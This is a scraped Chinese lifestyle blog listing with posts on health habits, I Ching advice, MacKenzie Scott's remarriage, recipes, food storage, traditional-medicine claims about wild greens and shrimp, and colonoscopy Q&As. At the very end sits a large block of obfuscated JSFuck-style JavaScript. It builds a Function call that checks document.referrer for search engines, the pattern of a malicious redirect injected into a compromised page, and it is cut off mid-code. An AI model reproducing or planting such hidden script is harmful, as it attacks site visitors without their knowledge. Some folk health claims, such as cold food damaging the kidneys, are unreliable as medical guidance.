其次,生病了,不要讳疾忌医,也不要病急乱投医,应该以坦然的心态和医生沟通,配合医生积极治疗;

再次,要掌握一些基本的防病治病科普常识,请务必记住:最好的医生是自己,最好的处方是知识。

世上最伤身的行为:贪凉

贪一时之凉,受伤的可能是肾。因为贪凉可直接导致感冒,长期下来,容易引发肾脏损伤。

著名肾病老中医邹燕勤教授也说过,她的父亲、我国中医肾病学宗师邹云翔立下家规,绝不让家人和孩子们贪凉吃冷饮。

胃喜温不喜凉,肾也是喜暖不喜寒,冰冷食物对胃伤害大。现在的很多小孩子容易生病、脾胃不和,都和平时吃冷饮有莫大的关系。

世上最贵的床:病床

我们在床上出生,大概也会在床上走完最后一程。

医院虽然是救命的地方,然而医学仍有难以破解的难题,不要以为躺上了医院的病床,就可以后顾无忧。

不要在生命的最后几年,花光一生的积蓄,然后不甘地离去!

如果爱自己,爱家人,从现在开始,改变坏习惯,早睡早起、不熬夜、少喝酒,珍惜自己才能珍惜家人。

2021-03-10 / by / in
遇到困境 《易经》里三个“锦囊” 教你化险为夷

易经/困境/度过难关/稳住阵脚/积蓄力量/把握时机/寻找出路/稳扎稳打/踏实前进

人的一生是不平凡的,人的喜怒哀乐会伴随左右。

尤其我们难免会遇到一些坎坷,有人选择跨过去,有人选择将坎坷磨平,还有些人选择直接止步不前,你会如何选择呢?


遇到困境

如果只是短期遇到一些困境,我可能会选择暴饮暴食,再睡上一觉,放纵一下,发泄一下自己的情绪,可能很多人的选择和我一样,这无可厚非,但并非长久之计,如果一直如此,那你真整个人不就废掉了吗?

我们还是要对未来进行谋划,跨过这个困境,今天我们就来探讨一下《易经》中的三个策略,说不定就会帮助你安稳地度过难关。

稳住阵脚

我们都说人生不如意,十之八九,最怕自乱阵脚,病急乱投医。有时候困境并没有那么可怕,但因为我们的所作所为或者说不作为,让困难程度提升,让困境变成逆境。

《易经》第二十九卦:坎卦;上坎下坎,水上加水,陷而再陷,十分险难,但越艰险越要往前,退缩没有出路。


易经 

何为坎?坎的卦辞中有这样一句话:习坎,重险也。水流而不盈,行险而不失其信。坎坷何其多,我们要适应这种情况,水川流不息,却不会见满盈,在险境中不失信心。正如德国尼采所言:杀不死我的东西,只会让我变得更强大。我们不怕困难有多大,就怕自己未战先怯,自己投降。

如果连你自己都放弃自己了,还会有谁推着你前行吗?

积蓄力量

在我们处于人生低谷期,总是期望有人能帮助我们,或者是事情出现转机,自己能东山再起,正如那个成语一样:否极泰来。

《易经》第十二卦:否卦,小人吉,大人否,这是一个对我们非常不利的卦象,正印证了我们所处的环境,这时候我们该怎办?

在唐朝时期,佛家高僧僧一行还没有出家的时候,被武则天的侄子武三思所看重,武三思很想结交这人,但武三思品行不端,僧一行不屑于和他结交,僧一行就躲进了深山老林,出家为僧,但僧一行没有自我放弃,他编著了著名的《大衍历》。

武三思确实厉害,权倾朝野,但即便如此,也不与他为伍,不过既然斗不过,我们何不急流勇退,在其他方向寻找出路。


把握时机,踏实前进

把握时机,踏实前进

同样是否卦,倾否,先否后喜,当你已经跌落到谷底,你已经没有东西失去了,这时候不管你做什么都是在往好的方向发展,而且物极必反,这个困境可能对于当下的你来讲是一个不可逾越的大山,但当你蓄积好力量,坚持到底,时机一定会出现,这时候你不要大喜过望,继续拿出稳扎稳打的态度,还有什么能阻挡你?

有一句歌词:我不怕千万人阻挡,只怕自己投降。如果你正在谷底,希望对你有所帮助。

2021-03-10 / by / in
女亿万富翁再婚,嫁中学化学老师

【金牌网】贝佐斯的太太麦肯齐·斯科特(MacKenzie Scott)再婚,第二任丈夫是西雅图一私立中学化学教师。
斯科特女士拥有530亿美元财富,被视为世界上最富有的女人之一。和他喜结连理的丹·杰维特(Dan Jewett),曾担任数十年教师,最近在西雅图私立学校Lakeside School教授化学。斯科特的孩子正好在那儿上学。
从照片上看,这位第二任丈夫看起来异常彪悍,精力强盛,更像一个体育老师,给人海军陆战队队长的感觉,外表也比光头的贝佐斯强壮许多。二人在一起似乎非常很开心。
斯科特女士的前夫贝佐斯向前妻表示祝贺。他在声明中表示:丹是一个很好的人,为她们俩高兴。
他们结婚的信息,出现在在斯科特女士的捐款承诺书上。杰维特帮他的新婚妻子给慈善事业再次捐出了巨额财富。
杰维特说:一次快乐的巧合,让他和自己了解的一位最慷慨亲切的女士结了婚,并和她一道致力于将巨额财富传递给他人。
去年7月份,斯科特女士给116所非盈利机构、大学和社区发展组织和法律团体,捐助了16.8亿美元。2020年,她又寻求一个顾问团队帮助,加速捐助那些受到疫情损害的组织,捐助512个组织达57亿美元。在去年50位捐助最多的美国人中,她位居第二。
斯科特已经把她在亚马逊网站上作者页面上的注释改为:她和四个孩子以及丈夫Dan居住在西雅图。贝佐斯和前妻结婚25年,2019年离婚。贝佐斯是世界上最富有的人。她曾和贝佐斯一起创业,帮助公司起名,制作商业计划,甚至邮寄订单;婚后她专注于抚养子女和文学生涯。离婚时,她与贝佐斯达成协议,接收了Amazon4%的股票,变为世界上最富有的女人之一,并成为一个出手阔绰的慈善家。

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2021-03-09 / by / in , ,
太棒了!空气炸锅烤出的脆皮五花肉(视频)

脆皮五花肉/五花肉/空气炸锅

五花肉做法可是多种多样,今天和大家分享不用烤箱做出的空气炸锅脆皮五花肉。

空气炸锅的功效不输传统的烤箱,而且在使用空气炸锅的时候,不需要预热,很方面。大家不妨试一试用它来烤五花肉,烤出的皮酥脆,肉质鲜嫩。而且非常容易操作。

材料:

带皮五花肉 1块

调料:

洋葱粉,五香粉,黑胡椒碎,蒜盐粉,烟熏辣椒粉,孜然粉,盐,意大利植物香料,棕色糖,所有这些粉均为1茶匙的量

做法:

1. 用刀在瘦肉上面切十字刀,但不要切断。切好后将所有的调料混合粉抹在肉上面腌制30分钟。

2. 将肉最好放在一个烤盘里面,或用锡纸做成的一个烤盘,如视频中那样,将肉放进去,用白醋把肉片刷一下,将温度调至100度烤30分钟.这一步主要是起到烘干肉的作用。

3. 将肉取出然后,在肉片表面撒少许盐,再刷一层油,将温度调到180度烤40分钟。

2021-03-09 / by / in ,
土豆买多了 这样保存效果最好

土豆/马铃薯/土豆发芽/黑色塑料袋

土豆又称马铃薯,在生活中是我们家庭比较常见的一种食材,土豆的吃法多种多样,因为土豆营养价值高,好多朋友买土豆为了方便,每次都要多买一些。

土豆买多了如果不会保存,那么土豆就容易出现发芽、干瘪、变青变绿的情况,一旦土豆发芽了,那么就千万不要再食用了,因为发芽的土豆里面含有龙葵碱的成分,龙葵碱是一种毒素,如果我们食用下去,就会直接影响到我们的身体健康。

我们在保存土豆之前,如果发现土豆表面出现损伤,或者有些破皮的情况,那么这种土豆我们就要把它挑出来,提早吃掉。我们要挑选比较新鲜,外表完好无损的土豆。保存土豆时,土豆是不需要清洗的,即使表面带有一些泥巴,也不用清洗,因为清洗过后的土豆,不容易保存。

土豆

其实保存土豆的方法非常简单,今天就教大家几个保存土豆的简单方法。

1、用黑色塑料袋包装

我们拿一条黑色的塑料袋,把土豆放在塑料袋里面,然后尽量排出里面的空气,扎紧袋口,用黑色塑料袋来保存土豆,可以避免土豆遇到阳光出现化合作用,这样就可以阻止土豆出现发芽的情况,因为土豆里面含有大量的淀粉,遇到光线或者水分充足的时候,就容易出现发芽的情况,所以袋子我们要选用黑色的塑料袋,黑色塑料袋可以避光,这样保存土豆就可以延长土豆的保鲜期了。

2、撒上一些小苏打

我们在一个纸箱的底部铺上一层报纸,然后在报纸上面撒上一些小苏打,小苏打能够吸附潮气,驱除一些小虫子,这样就能够防止土豆被虫子叮咬了,接着我们把土豆一个个地放到纸箱里面,土豆跟土豆之间要留有空隙,避免出现挤压的情况。

然后在土豆上面再铺上一层报纸,如果土豆比较多的话,可以每一层都用报纸隔开,一层层地叠起来摆放,防止土豆之间挤压出现变质的情况。最后我们就可以把纸箱密封起来,放到阴凉通风的地方保存,纸箱,报纸,小苏打都能够起到很好的吸潮作用,这样土豆就长期处于一个干燥的环境里面,用这个方法来保存土豆,一般情况下,放上一年都不发芽不干瘪,也不会变坏掉。

3、用保鲜膜包裹土豆

我们用保鲜膜把土豆包裹起来,包裹得严实一些,放到阴凉干燥处保存,这样就可以隔绝土豆与空气的接触,土豆就不会出现发芽的情况了,用这个方法来保存土豆,可以保存一个月左右。保存土豆时,用上这几招,那么土豆就不会出现发芽变绿变坏的情况了。

2021-03-09 / by / in
一咬流汁又流油的生煎包 肉汁裹着肉香 油香 葱香 芝麻香 百吃不厌~(视频)

生煎包/小笼包/包子

非常有名气的上海生煎包很多人都喜欢吃,按照生煎包师傅的说法肉汁裹着肉香、油香、葱香和芝麻香,总之一口咬上去是满口香,怎么吃你都不厌!

材料:

面粉部分:

中筋面粉 330克, 温水(体温差不多) 190毫升, 盐 1克, 酵母 3克, 糖 10克

肉馅部分:

肥瘦猪肉馅450克, 姜末少许, 葱2根, 猪蹄汤60g, 生抽3勺, 料酒1勺, 老抽1/2勺, 蚝油1勺, 芝麻香油1勺, 糖1茶匙, 白胡椒粉1/2茶匙, 油20毫升

做法:

1. 发面,加入糖,酵母和盐,用和体温差不多的温水,先搅拌成絮状,然后手揉一直揉到见不到干粉,继续揉直到揉成一个柔软光滑的面团,大约需要10分钟。盖上盖子,室温下饧发1到一个半小时(根据室温高低而定)。

2. 准备生煎包的馅料,用半肥瘦的肉馅,如果你用五花肉自己剁成肉馅当然会更美味。加入姜末,葱切成葱花, 加入生抽,料酒,蚝油,老抽,白胡椒粉,糖,芝麻香油,这里我用的昨天炖猪蹄的汤,虽然不是猪皮冻,但也是满满的骨胶原,胜在省事而且效果也不差,分几次倒入汤汁,不断搅拌直到肉馅开始起了黏性,根据自己口味加入少量盐调味,最后倒入油锁住香味和水分,放入冰箱里冷藏一下。

3. 面团发了2倍大了, 洒一点干粉, 排气。将面团分成两份,每份搓成长条,揪出大约15克一个大小的剂子,一共可做35个左右。搓圆定型后,铺上干布松弛15分钟。

4. 包生煎的皮和饺子皮差不多,擀的时候中间稍厚,四周薄一点,撒上干粉,封口朝上,擀成直径大约8厘米的面皮, 放入猪肉馅,用包包子的方法,将一侧面皮对折,然后开始褶褶子,收口后将多余的面团揪下来,翻个个儿放入平底锅里。如果你不喜欢封口朝下,也可以不翻个,我喜欢封口朝下煎得焦脆的口感。

5. 生煎包摆放不用间隔太大,稍留点空隙就可以了, 煎好的生煎满满当当的,看起来特别有食欲。生煎包在锅里饧发大约10分钟。

6. 开火倒入稍多一点的油, 盖上盖中大火大约4-5分钟,听到锅底发出吱吱声,倒入约40毫升的水改成中火,继续盖盖子生煎,等水分差不多收干,撒上黑芝麻和葱花,再倒入少量油,焖上4-5分钟,看到生煎包表面都胀鼓鼓的,锅铲翻看一下底部差不多焦黄了,生煎包出炉啦。

2021-03-08 / by / in ,
中医说它浑身是宝 ! 一口下去全是春天的味道

春季/野菜/营养丰富/荠菜/蒲公英/韭菜/清热解毒/平肝明目/清热利湿/抑病菌/防疾病

春天的到来,是吃野菜的最好季节,许多野生蔬菜利用历史悠久,具备养生和防病的功效。

到了惊蛰后万物生机盎然、雨水渐多,大多数地区都进入了春耕,各类野菜也开始生长上市。春季野菜营养丰富,有些甚至本身就是药材,合理科学地食用,不仅味美还有益健康。


荠菜 

荠菜

很多人都吃过荠菜,但却不知道它还有药材的功效。 《中药大辞典》记载荠菜甘、淡、凉,归肝、脾、膀胱经,有凉肝止血、平肝明目、清热利湿等作用,主治吐血、咯血、尿血、崩漏、目赤疼痛、眼底出血、高血压病等。

惊蛰后气温逐渐回升,但仍会有些凉意,此时饮食正需要增甘健脾,荠菜非常应季,古诗云“城中桃李愁风雨,春在溪头荠菜花”,可以说荠菜是春季较早的野菜了,可炒着吃,也可凉拌、做馅吃。

与此同时,陈玖医师特别提醒,荠菜具有兴奋子宫的作用,孕妇要慎用。日常在食用前最好先用水焯一下去除杂质。


蒲公英

蒲公英

春天乡间小路上随处可见蒲公英,小时候只觉得好看好玩,却不知还好吃好用。蒲公英味甘微苦,性寒,归肝、胃经,有清热解毒、消痈散结的功效,主治乳痈,肺痈,肠痈,痄腮,疔毒疮肿,目赤肿痛,感冒发热,咳嗽,咽喉肿痛,胃炎、肠炎,尿路感染,蛇虫咬伤,烧烫伤。临床上,是预防和治疗产妇产后乳腺炎的最常用药。

蒲公英可以生吃,也可以炒着吃或做汤、做馅饼、做馅吃都可以。


韭菜

韭菜

韭菜性温味辛,归肾、胃、肺、肝经,可补肾、温中、散瘀、解毒,主治里寒腹痛,噎膈反胃,胸痹疼痛,气喘,吐血,痔疮,疥疮,跌打损伤。需要特别提到的是,韭菜子(即韭菜种子)具有补益肝肾,壮阳固精的功效。

春天肝气偏旺,脾胃消化吸收功能受影响,《滇南本草》提到“滑润肠道中积,或食金、银、铜器于腹内,吃之立下”,韭菜可促进肠道蠕动、增强消化功能。但要注意阴虚内热的人或有眼疾的人要慎用。

除了大家最常吃的韭菜炒蛋,还可做成豆丝韭菜,用来炒咸猪肉、炒培根、炒粉干、炒猪肝,或者做韭菜饺子、韭菜盒子等。

野菜非常味美、价值高,但食用前一定要仔细鉴别、做好处理,免得适得其反。

仔细鉴别。如果对野菜的形态没有十足把握,千万不要随意摘菜食用,做到“不知不食”,对来历不明、功效不知的野菜切不可食用,也不要采摘路旁边、水沟等处的野菜。

做好处理。食用前务必认真做好清洁,最好洗净后再在清水中浸泡一定时间,烹饪前建议先焯水处理一下。


野菜

抑病菌防疾病

中医有“六气”:风寒暑湿燥火,而风为春季的主气,《黄帝内经》中《素问·风论》说“风为百病之长”,风邪在大寒、立春、雨水、惊蛰这四个节气最猖狂,能通过口鼻、肌腠在人体抵抗力下降、汗孔开泄时乘虚而侵犯致病。

而另一方面,惊蛰“惊醒”的可不止昆虫,随着气温回升、雨水增多,细菌、病毒等微生物不断滋生,极易侵袭人体致病。此时,流感、流脑、风疹、过敏性疾病等病的发病率相对较高,生活中需要特别注意抑菌防病。

注意个人卫生,室内适当、适时通风,尤其是厨房、卫生间等潮湿的地方,年老体弱或幼儿尽量少去人群密集的公共场所,避免传染性疾病的传播。家中阳台上的盆栽或其他易积水蓄水的地方要及时清洁,以免细菌滋生。

除此之外,还可以食用新鲜蔬菜或富含蛋白质的食物增强体质,抵御外邪的侵袭。对体弱多病、体质差、易感冒的人,还是要根据天气变化,适时适当增减衣物。

2021-03-07 / by / in , ,
烤鸡不一样的做法 味道也不一样(视频)

烤鸡/腌制

鸡的做法真是太多了。有麻油鸡.、清蒸鸡、口水鸡、宫保鸡丁等,今天和大家分享烤鸡不一样的做法 。

烤鸡与做中餐比起来就简单多了,但味道并不输中餐。这道料理还加了蔬菜,这样有菜有肉,一锅成菜。

材料:

整鸡:1.5-2公斤

腌料:

小茴香:1/2 小勺香菜籽:1/2 小勺孜然:1/2 小勺花椒:1/2 小勺盐:2 小勺蒜:5瓣葱:2根小辣椒:3个生抽:1 小勺

烤鸡配菜:

红薯,土豆,红萝卜,绿皮小南瓜和蒜 橄榄油 孜然粉 辣椒粉 盐 蜂蜜汁: 生抽:1小勺 蜂蜜:1小勺

做法:

1. 将鸡的脊椎骨剪下来,再将肥油剪掉。

2. 将调料放在石臼中捣碎,再加入葱姜也捣碎,然后加入酱油等。将调料放在鸡的胸腔部分抹匀,在将一部分放在鸡皮下面。在鸡皮上撒上一些捣碎的盐和小茴香等调料,抹匀后放入冰箱隔夜腌制。

3. 将所有的配菜洗净后,去皮,切成长条后,放在烤盘里面,到入适量的橄榄油,然后将鸡放在蔬菜上面。烤箱温度调至180度,烤60分钟后取出,在鸡皮上面刷上生抽和蜂蜜调成的汁,继续烤15分钟即可。

2021-03-07 / by / in ,
虾头有重金属超标吗?吃虾前必看的6个真相

虾子/虾头黑/重金属超标/虾里面寄生虫/虾线/真相

说起虾子那是许多人喜欢的食物,不管什么场合都是一道不失礼的菜色。但是吃起虾子也是有一些究竟的。

虾子营养丰富,是许多人喜欢的美味佳肴。虾中含有丰富的镁,对心脏活动具有重要的调节作用,能很好的保护心血管系统,它可以减少血液中胆固醇含量,防止动脉硬化,还能扩张冠状动脉,有利于预防高血压及心肌梗死。虾子富含磷和钙,对小儿、孕妇尤有补益功效,也很适合身体虚弱或病后需要调养的人食用。

我们吃虾时常有一些疑问:虾头是黑的,重金属超标吗?虾里面会不会有寄生虫?虾线一定要去掉吗? ……以下介绍给你关于虾的6个真相。

关于虾的6个真相

1、虾头黑黑的,是否重金属超标?

真相:虾头重金属含量和虾肉比起来确实是高一些,但正规养殖的虾子可以放心吃。

虾子体内的重金属主要来源于水和饲料,通常内脏(虾头部分)和虾壳中的含量会高一些。不过,如果水质和饲料太差,虾子也无法存活,所以正规养殖的虾还是有保障的。有些虾头颜色发黑,可能是因为饲料的问题,或酪氨酸酶产生了一些黑色素,和重金属无关。如果实在不放心,就不要吃虾头,反正肉少。

2、虾子里面有寄生虫吗?

真相:虾子里面可能有寄生虫,但煮熟就安全了。

网路上曾经有一个影片,说虾子里面有寄生虫,其实,影片里的白色寄生虫是虾的输精管。虽然如此,水产确实存在寄生虫的风险,最好的处理方法就是:煮熟,建议大家尽量不要吃醉虾(生的)。

3、虾线(虾肠)一定要去掉吗?

真相:虾线(虾肠)是虾的肠道,建议去掉。

虾线(虾肠)指的是掰开虾背时,看到的那条黑色或青色的线。它属于虾的消化道,确实不算干净,通常建议在处理虾的时候把它去掉,但如果不小心吃了,也不用太在意,但可能味道会差一些。

4、虾子会诱发过敏,不能随便吃?

真相:如果本身不对虾子过敏的话就可以吃。

有一种说法:有伤口的时候,吃虾蟹会让伤口溃烂,难以愈合。其实,虾子和伤口溃烂没有什么相关性。虾子的蛋白质含量高,脂肪少,有伤口的人,例如手术后的患者,不妨适量多吃点,还可以帮助伤口愈合。对虾蟹等水产海鲜过敏的人,或食材不新鲜,不卫生,被有害细菌污染的话,吃虾后才会出现不舒服的症状。

5、虾子可以和水果一起吃吗?

真相:想吃就吃,不用担心。

网上有一个传言:虾子和水果中的维生素C一起吃会产生剧毒物砒霜,所以水果和虾蟹等河鲜海鲜不能一起吃。实际上,虾中含有的无机砷含量不多,一起吃不会有问题的。

6、吃虾皮可以补钙?

真相:虾皮的钙含量很高,但是不好吸收,并不推荐。

我们常听说虾皮补钙,主要是指海产虾中的毛虾,每100克钙含量能达到991毫克,确实相当高。但是并不推荐大家吃虾皮补钙,因为虾皮的食用量太少,一般做菜也就用几克,且难以咀嚼消化,吃下去很难被分解、吸收,还不如喝杯牛奶,吃点豆腐小青菜。同时,虾皮钙多,但盐分更多,100克含有5057毫克的钠,因此并不推荐。

2021-03-07 / by / in ,
什么是胶囊内镜检查?它的利弊是什么?法拉盛肠胃病治疗专家荆彤医生为您解答

荆彤医生是纽约荆彤肠胃中心的创办人,毕业于约翰.霍普金斯大学医学院,是美国少数拥有治疗性内视镜执照的专家。对于胶囊内镜检查这种新兴技术很多人在认识上有很多误区,荆彤医生在此为大家解答。

胶囊内镜检查是一种新的技术,患者只要吞下一颗胶囊,就能进行胃肠镜检查,比普通胃镜轻松许多。那么胶囊内镜和普通胃肠镜还是有区别的,它不能代替胃镜和肠镜。

胶囊内镜对上消化道,就是从食道到胃这一段检查的并不很清楚。对大肠特别是结肠那部份检查也不是很清楚。现在胶囊镜主要是用来检查小肠。我们知道人体的消化器官是从食道下来接着胃,胃之后是长达20英尺的小肠,然后小肠接到大肠,在盲肠接到大肠,大肠一直到肛门。大肠的问题可以用肠镜来解决,食道和胃用胃镜就可以看得很清楚,但这一段20英尺长的小肠就没有那么长的镜子。我们如果对人体解剖稍微有点基本知识的话就会知道,这小肠是弯来弯去叠在一块的,这个镜子很难打这么多弯进去。所以呢就有了胶囊镜。

所谓胶囊镜,就是一个比药丸稍微大一点的胶囊,里边放置了芯片,可以照相。吞下去之后每秒钟可以拍五到六个照片。它在里面不断拍照片把这个信号传出来,我们收集到信号之后在计算机上做分析。

胶囊镜有它的局限性。胶囊镜不能取活检,它只是拍照,看消化道的表面有没有长什么不好的东西。如果看到了东西,需要活检,它没有办法把这个样品取出来。胶囊最后会从人体排出来。

有一些患者要慎重使用胶囊镜。病人如果以前做过腹部手术就要格外小心,因为他很可能肠子里有粘连、狭窄这个情况。胶囊进去之后会卡在那里不往下走。一旦卡住的话可能要做手术才能取出来。所以胶囊镜是有局限性的。是不是需要做胶囊镜检查最好要征求一下肠胃科医生的意见。

2021-03-06 / by / in , , , ,
出现便血、排便习惯的改变、胀气等是否需要做肠镜检查?纽约肠胃病治疗专家荆彤医生为您解答

荆彤医生是纽约荆彤肠胃中心的创办人,毕业于约翰.霍普金斯大学医学院,是美国少数拥有治疗性内视镜执照的专家。鉴于很多人不知道哪些情况下需要做肠镜检查,荆彤医生在此为大家解答。

如果患者出现大便习惯的改变,比如说原来大便都是很有规律,现在突然便秘,或者是拉肚子,或者大便里看到有血,或者是肚子无缘无故的痛,胀气,身体的消瘦。这些都可以先来看肠胃科医生,让肠胃科医生来做决定是不是需要做肠镜或者是胃镜的检查。这要先让医生来评估。

2021-03-06 / by / in , ,
哪些人需要做肠镜检查?纽约肠胃科专家荆彤医生为您讲解

荆彤医生是纽约荆彤肠胃中心的创办人,毕业于约翰.霍普金斯大学医学院,是美国少数拥有治疗性内视镜执照的专家。鉴于很多人不知道自己需不需要做肠镜检查,荆彤医生在此为大家解答。

按现在的这个医疗上的说法,即便是没有任何症状,50岁以上都需要做肠镜检查,无论是什么性别。对于那些有家族病史的人更要提前做,尤其是你的父母兄弟姐妹当中有人得了肠癌或者有人有肠息肉。一般要根据他们发病的年龄,减掉10岁,就是你在这个年你就要开始做肠镜检查。比如说,你的父母有一个人在50岁检查出肠癌或者肠息肉,那50岁减10就是40岁,你就要开始做肠镜了。如果你现在已经是43岁了 ,那你就要马上做。

2021-03-06 / by / in , ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,122,50,48,56,54,57,55,52,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,70,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+